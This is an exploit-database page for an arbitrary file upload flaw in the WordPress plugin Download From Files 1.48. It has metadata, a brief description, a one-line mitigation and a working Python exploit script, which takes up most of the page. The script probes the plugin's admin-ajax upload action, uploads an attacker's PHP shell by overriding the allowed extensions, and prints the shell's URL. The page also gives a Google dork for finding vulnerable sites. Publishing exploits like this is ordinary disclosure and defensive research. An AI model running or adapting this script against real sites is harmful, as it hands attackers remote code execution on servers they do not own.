Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload

vendor:

Download From Files

by:

spacehen

9,8

CVSS

HIGH

Arbitrary File Upload

434

CWE

Product Name: Download From Files

Affected Version From: 1.48

Affected Version To: 1.48

Patch Exists: YES

Related CWE: N/A

CPE: a:wordpress:wordpress_plugin:download_from_files

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: Ubuntu 20.04.1 LTS (x86)

2021

WordPress Plugin Download From Files 1.48 – Arbitrary File Upload

This exploit allows an attacker to upload a malicious file to the vulnerable Wordpress plugin Download From Files 1.48. The vulnerability exists due to insufficient validation of the uploaded file type. An attacker can upload a malicious file with a .php4 or .phtml extension and gain remote code execution on the server.

Mitigation:

Upgrade to the latest version of the plugin or disable the plugin if it is not needed.

Source

Exploit-DB raw data:

# Exploit Title: Wordpress Plugin Download From Files 1.48 - Arbitrary File Upload
# Google Dork: inurl:/wp-content/plugins/download-from-files
# Date: 10/09/2021
# Exploit Author: spacehen
# Vendor Homepage: https://wordpress.org/plugins/download-from-files/
# Version: <= 1.48
# Tested on: Ubuntu 20.04.1 LTS (x86)

import os.path
from os import path
import json
import requests;
import sys

def print_banner():
	print("Download From Files <= 1.48 - Arbitrary File Upload")
	print("Author -> spacehen (www.github.com/spacehen)")

def print_usage():
	print("Usage: python3 exploit.py [target url] [php file]")
	print("Ex: python3 exploit.py https://example.com ./shell.(php4/phtml)")

def vuln_check(uri):
	response = requests.get(uri)
	raw = response.text

	if ("Sikeres" in raw):
		return True;
	else:
		return False;

def main():

	print_banner()
	if(len(sys.argv) != 3):
		print_usage();
		sys.exit(1);

	base = sys.argv[1]
	file_path = sys.argv[2]

	ajax_action = 'download_from_files_617_fileupload'
	admin = '/wp-admin/admin-ajax.php';

	uri = base + admin + '?action=' + ajax_action ;
	check = vuln_check(uri);

	if(check == False):
		print("(*) Target not vulnerable!");
		sys.exit(1)

	if( path.isfile(file_path) == False):
		print("(*) Invalid file!")
		sys.exit(1)

	files = {'files[]' : open(file_path)}
	data = {
	"allowExt" : "php4,phtml",
	"filesName" : "files",
    "maxSize" : "1000",
    "uploadDir" : "."
	}
	print("Uploading Shell...");
	response = requests.post(uri, files=files, data=data )
	file_name = path.basename(file_path)
	if("ok" in response.text):
		print("Shell Uploaded!")
		if(base[-1] != '/'):
			base += '/'
		print(base + "wp-admin/" + file_name);
	else:
		print("Shell Upload Failed")
		sys.exit(1)

main();